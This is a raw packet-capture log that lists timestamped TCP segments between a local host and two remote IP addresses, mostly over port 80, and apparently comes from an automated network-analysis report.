Dec 23, 2024 06:53:38.037563086 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.038285017 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.038439035 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.038697958 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.039237976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.039356947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.039540052 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.040185928 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.040311098 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.040425062 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.041127920 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.041239977 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.041275024 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.042090893 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.042205095 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.042249918 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.043013096 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.043251991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.043293953 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.043992996 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.044006109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.044044971 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.044924021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.045020103 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.045059919 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.045849085 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.045917988 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.045954943 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.046941996 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.047024012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.047111034 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.047719002 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.047844887 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.047880888 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.048649073 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.048763990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.048800945 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.049592018 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.049668074 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.049752951 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.050549030 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.050761938 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.050803900 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.051450014 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.051570892 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.051611900 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.052395105 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.052517891 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.052707911 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.053328991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.053442001 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.053484917 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.054394007 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.054465055 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.054503918 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.055212021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.055284977 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.055866003 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.056152105 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.056273937 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.056309938 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.057094097 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.057284117 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.057463884 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.058043957 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.058162928 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.058195114 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.059000015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.059084892 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.059124947 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.059921980 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.060045004 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.060086966 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.060863018 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.060962915 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.060998917 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.061836004 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.061894894 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.062000990 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.062741995 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.062868118 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.062968969 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.063064098 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.063688040 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.063791990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.063834906 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.064615011 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.064697981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.064873934 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.065576077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.065752983 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.065797091 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.066494942 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.066606998 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.066642046 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.067431927 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.067540884 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.067584991 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.068351984 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.068468094 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.069084883 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.069283009 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.069402933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.069446087 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.070285082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.070385933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.070473909 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.071177959 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.071304083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.071346998 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.072122097 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.072315931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.072387934 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.073064089 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.073177099 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.073213100 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.074007988 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.074100018 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.074183941 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.074950933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.075026035 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.075161934 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.075898886 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.076052904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.076805115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.076841116 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.076909065 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.076944113 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.077749968 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.077861071 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.077935934 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.078702927 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.078807116 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.079246044 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.079616070 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.084964037 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.114643097 CET	443	49759	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:38.114720106 CET	49759	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:38.117374897 CET	49759	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:38.117383003 CET	443	49759	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:38.117594957 CET	443	49759	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:38.126521111 CET	49759	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:38.126672029 CET	49759	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:38.126677990 CET	443	49759	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:38.126873970 CET	49759	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:38.171331882 CET	443	49759	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:38.222301006 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.222377062 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.222832918 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.222882986 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.222918987 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.222954035 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.223705053 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.224075079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.224126101 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.224162102 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.225020885 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.225064039 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.225131989 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.225960970 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.225997925 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.226072073 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.226897955 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.226931095 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.226984024 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.227859020 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.227895975 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.227902889 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.228768110 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.228806019 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.228840113 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.229722023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.229754925 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.229820967 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.230662107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.230777979 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.230830908 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.231594086 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.231631041 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.231682062 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.232538939 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.232621908 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.232623100 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.233457088 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.233496904 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.233583927 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.233931065 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.234422922 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.234488964 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.234525919 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.235353947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.235465050 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.235511065 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.236264944 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.236299038 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.236376047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.237194061 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.237229109 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.237270117 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.238158941 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.238198996 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.238292933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.239099026 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.239139080 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.239213943 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.240623951 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.240660906 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.240735054 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.240978956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.241089106 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.241121054 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.241903067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.242026091 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.242034912 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.242860079 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.242898941 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.242959976 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.243782043 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.243825912 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.243895054 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.244764090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.244852066 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.244859934 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.245683908 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.245721102 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.245773077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.246613026 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.246756077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.246814966 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.247569084 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.247616053 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.247658968 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.248482943 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.248528957 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.248605013 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.249460936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.249501944 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.249532938 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.250370979 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.250468016 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.250513077 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.251288891 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.251328945 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.251409054 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.252101898 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.252224922 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.252255917 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.252327919 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.253176928 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.253302097 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.253334999 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.254138947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.254177094 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.254204988 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.255057096 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.255100965 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.255171061 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.256092072 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.256124020 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.256280899 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.256954908 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.256997108 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.257081032 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.257858992 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.257899046 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.258043051 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.258821964 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.258862972 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.258934021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.259767056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.259825945 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.259869099 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.260723114 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.260796070 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.260819912 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.261693954 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.261795998 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.261814117 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.262573957 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.262615919 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.262681961 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.263504982 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.263541937 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.263582945 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.264420033 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.264467001 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.264548063 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.264584064 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.265376091 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.265486956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.265523911 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.266318083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.266357899 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.266390085 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.267276049 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.267308950 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.267343998 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.268202066 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.268239975 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.268285990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.269177914 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.269211054 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.269346952 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.270086050 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.270122051 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.270184040 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.271013021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.271059036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.271097898 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.343076944 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.391129971 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.414560080 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.414700985 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.414743900 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.415041924 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.415085077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.415143967 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.415951967 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.416074038 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.416882038 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.416903973 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.416982889 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.417042971 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.417830944 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.417946100 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.417985916 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.418824911 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.418910027 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.418957949 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.419706106 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.419795990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.419868946 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.420639038 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.420742035 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.420804024 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.421578884 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.421648979 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.421710968 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.422527075 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.422632933 CET	80	49758	185.215.113.16	192.168.2.6
